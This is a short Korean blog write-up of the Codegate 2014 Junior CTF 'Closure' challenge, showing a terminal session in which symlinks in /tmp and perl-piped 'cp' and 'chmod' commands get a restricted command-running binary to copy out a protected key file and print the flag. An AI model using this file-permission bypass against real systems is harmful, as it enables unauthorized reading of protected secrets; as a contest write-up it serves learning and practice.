최상단

컨텐츠

[Codegate 2014 Junior CTF] Closure

글 정보

Category
WarGame
2014. 2. 14. 23:14

본문

입력받은 문자열이 [a-z][A-Z][0-9][ ] 의 범위내에 있을 때, 해당 명령어를 실행시켜주는 문제이다.

리버싱은 간단했는데, PATH를 조절할 수 있는 꼼수를 몰라 좀 헤맸던 것 같다.

일단 패스를 조절할 수 없기 때문에 기본 명령어들을 사용해서 원하는 동작을 해야하는데,

이 또한 쓰기 권한이 없기 때문에 사용할 수 없었다.

물론, / 가 들어가면 cp key /tmp/이런식으로 하면 되겟지만, /가 막혀있기 때문에 이를 우회할 수 있는 방법은 없었다.


그러던 중, link를 사용하여 writeable한 부분에 바이너리와 key의 link를 생성하고, 이를 이용하는 방법을 생각해보았다.

해서 성공-.



guest@codegate:/tmp/tt$ ll

total 16

drwxrwxr-x  2 guest   guest 4096 Feb 10 09:30 ./

drwxrwx-wt 36 root    root  4096 Feb 10 09:29 ../

-r--------  1 closure guest   20 Feb 10 09:30 aaa

lrwxrwxrwx  1 guest   guest   21 Feb 10 09:21 closure -> /home/closure/closure*

lrwxrwxrwx  1 guest   guest   17 Feb 10 09:29 key -> /home/closure/key

-rwxrwxr-x  1 guest   guest  111 Feb 10 09:30 pwnblitz*


guest@codegate:/tmp/tt$ perl -e '{print "cp  key aaa","\x00"}' | ./closure

guest@codegate:/tmp/tt$ perl -e '{print "chmod 777 aaa","\x00"}' | ./closure           

guest@codegate:/tmp/tt$ ll

total 16

drwxrwxr-x  2 guest   guest 4096 Feb 10 09:32 ./

drwxrwx-wt 36 root    root  4096 Feb 10 09:29 ../

-rwxrwxrwx  1 closure guest   20 Feb 10 09:32 aaa*

lrwxrwxrwx  1 guest   guest   21 Feb 10 09:21 closure -> /home/closure/closure*

lrwxrwxrwx  1 guest   guest   17 Feb 10 09:29 key -> /home/closure/key

-rwxrwxr-x  1 guest   guest  111 Feb 10 09:30 pwnblitz*

guest@codegate:/tmp/tt$ cat aaa

HIGH5_TO_BUGHunT3RS



이런 기본적인 트릭들을 잘 몰라 고생하는게 참. 슬프다.ㅋㅋㅋ





트랙백과 댓글 여닫기

TOP